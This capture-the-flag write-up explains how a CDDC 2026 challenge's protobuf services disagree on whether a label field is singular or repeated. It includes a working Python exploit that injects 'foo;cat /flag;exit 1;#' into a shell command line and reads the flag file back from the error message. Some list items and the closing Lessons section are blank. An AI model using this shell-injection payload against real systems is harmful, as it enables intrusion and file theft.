← All writeups

Pwn

CDDC 2026 — shim

Category: Pwn / Reversing Flag: CDDC2026{557d5516f62942e94a5928ba3a21586e}


Challenge

Defender received a new order while patrolling the outskirts of the Rift.

Verify if the recently released shim pipeline is operating as designed and as intended. Received from He_dqu_rte_s

nc cddc2026-challs-nlb-6d04de59390ca275.elb.ap-southeast-1.amazonaws.com 37580

We're given:

shim/
├── Dockerfile
├── README.md
├── build.sh / run.sh / start.sh
├── shim-agent          (Go ELF, stripped)
├── shim-monitor        (Go ELF, stripped)
├── pushgw              (POSIX shell script)
├── flag                (CDDC2026{THIS_IS_FAKE_FLAG} - placeholder)
└── demo/               (sample logs + cgroup files)

README.md:

A container-runtime observability shim exposing metrics push, log tail, and cgroup resource queries over a binary protobuf protocol on TCP.

The remote listens on TCP 1337. Framing: 4-byte big-endian length prefix followed by a serialized MonitorRequest protobuf. The response uses the same framing and carries a MonitorResponse.


Architecture

start.sh is the runtime layout:

nsjail -Ml --port 9999 --bindhost 127.0.0.1 \
       --chroot /jail/agent --user 99999 --group 99999 \
       --time_limit 30 ... -- /usr/local/bin/shim-agent &

socat -T 30 TCP-LISTEN:1337,fork,reuseaddr,max-children=16 \
            EXEC:/usr/local/bin/shim-monitor,su=shimuser &

Two Go binaries:

Process Role Where it runs
shim-monitor Public TCP/1337 frontend; validates input, forwards Outside jail, as shimuser
shim-agent Talks to filesystem; reads logs/cgroups; calls pushgw Inside nsjail chroot

shim-monitorshim-agent over 127.0.0.1:9999 using the same protobuf framing.

The flag (/flag, mode 0444) lives inside /jail/agent/ and is therefore readable by shim-agent (uid 99999). The job is to coerce the agent into reading it for us.


Recovering the protocol

Both binaries are stripped Go but still embed the FileDescriptorProto. Pulling it from shim-monitor:

syntax = "proto3";
package shim.v1;

message ResourceQuery {
  string       cgroup_path  = 1;
  ResourceKind kind         = 2;
  uint32       sample_count = 3;
}

message LogQuery {
  string log_name   = 1;
  uint32 tail_lines = 2;
  int64  since_unix = 3;
}

message ResourceStats {
  double cpu_usage_ratio = 1;
  uint64 memory_bytes    = 2;
  uint64 io_read_bytes   = 3;
  uint64 io_write_bytes  = 4;
}

message MonitorRequest {
  RequestType   type          = 1;
  string        container_id  = 2;
  string        metric_labels = 3;     // <-- monitor view
  ResourceQuery res           = 4;
  LogQuery      log           = 5;
}

message MonitorResponse {
  RequestType   type      = 1;
  Status        status    = 2;
  string        error     = 3;
  repeated string log_lines = 4;
  ResourceStats stats     = 5;
}

enum RequestType { REQUEST_TYPE_UNSPECIFIED=0; METRICS=1; LOGS=2; RESOURCE_QUERY=3; }
enum Status      { STATUS_UNSPECIFIED=0; OK=1; FAILED=2; BAD_REQUEST=3; UNAUTHORIZED=4; }
enum ResourceKind{ RESOURCE_KIND_UNSPECIFIED=0; CPU=1; MEMORY=2; IO=3; }

Probing the validator

shim-monitor exposes main.validate, main.validateLogs, main.validateResource, main.callAgent. By sending requests and observing rejection messages we recover the rules:

Field Accepted form
container_id ^[0-9a-f]{64}$
log_name exactly stdout or stderr
cgroup_path ^/sys/fs/cgroup/system\.slice/shim-[0-9a-f]{64}\.scope (note: not $-anchored — but the trailing path can only be appended to, not redirected)
metric_labels ^[A-Za-z0-9_.:]+$ (no =, ,, -, space, /, ; …)

The demo dir conveniently provides a real container id:

7c5d8e9a3b2f1d6c4a8e0b5f2d9c3a7e1b4f8d2c6a0e3b7f1d5c9a2e6b4f8d1c

Logs (LOGS) and cgroup reads (RESOURCE_QUERY) only return data from very specific paths; no obvious traversal works there.


The bug

Comparing the embedded proto descriptors of the two binaries side-by-side:

MON  metric_labels -> opt        ← treated as singular string (proto3 last-wins)
AGT  metric_labels -> rep        ← treated as repeated string (slice)

Schema drift between the validator and the executor. Every other field is opt/rep consistent — only metric_labels differs.

Implication: if we send the metric_labels field multiple times in one request,

So the earlier labels travel into the agent completely unsanitized.

Where the labels go

Inspecting the pushMetrics codepath in shim-agent, around the call to pushgw, we find these immediate string literals being copied into a buffer:

" push --"
"job=shim"
" --label="
"="          (one byte)

The agent assembles a single string and runs it via /bin/sh -c:

/usr/local/bin/pushgw push -- job=shim --label=<L1> --label=<L2> ...

Because labels are concatenated into the shell line, any character that survives validation gets shell-evaluated. The validator-bypassed labels can contain ;, newline, $(), etc.

Where the output goes

pushgw is a harmless echo script. But if the shell line returns non-zero, the agent's combined output is reflected back as MonitorResponse.error (string format "pushgw failed: %s"). So injection + forced non-zero exit → output exfiltration.


Exploit

Two metric_labels:

Sent as one framed MonitorRequest{type=METRICS, container_id=<64-hex>, metric_labels=[..., ...]}.

Resulting shell command at the agent:

/usr/local/bin/pushgw push -- job=shim --label=foo;cat /flag;exit 1;# --label=safe

cat /flag lands in stdout, exit 1 makes the shell return non-zero, the agent stuffs the captured output into error, which is sent back to us.

#!/usr/bin/env python3
import socket, struct, sys

HOST = 'cddc2026-challs-nlb-6d04de59390ca275.elb.ap-southeast-1.amazonaws.com'
PORT = 37580
CID  = b'7c5d8e9a3b2f1d6c4a8e0b5f2d9c3a7e1b4f8d2c6a0e3b7f1d5c9a2e6b4f8d1c'

def vi(n):
    out = b''
    while True:
        b = n & 0x7f; n >>= 7
        if n:
            out += bytes([b | 0x80])
        else:
            return out + bytes([b])

def es(f, s): return vi((f << 3) | 2) + vi(len(s)) + s
def ee(f, n): return vi((f << 3) | 0) + vi(n)

payload = b'foo;cat /flag;exit 1;#'
req = ee(1, 1) + es(2, CID) + es(3, payload) + es(3, b'safe')

s = socket.create_connection((HOST, PORT), timeout=15)
s.sendall(struct.pack('>I', len(req)) + req)
n = struct.unpack('>I', s.recv(4))[0]
buf = b''
while len(buf) < n:
    buf += s.recv(n - len(buf))
print(buf)

Output:

b'\x08\x01\x10\x02\x1ampushgw failed: pushgw: forwarded 2 arg(s) to '
b'http://127.0.0.1:9091\nCDDC2026{557d5516f62942e94a5928ba3a21586e}'

Flag: CDDC2026{557d5516f62942e94a5928ba3a21586e}


Lessons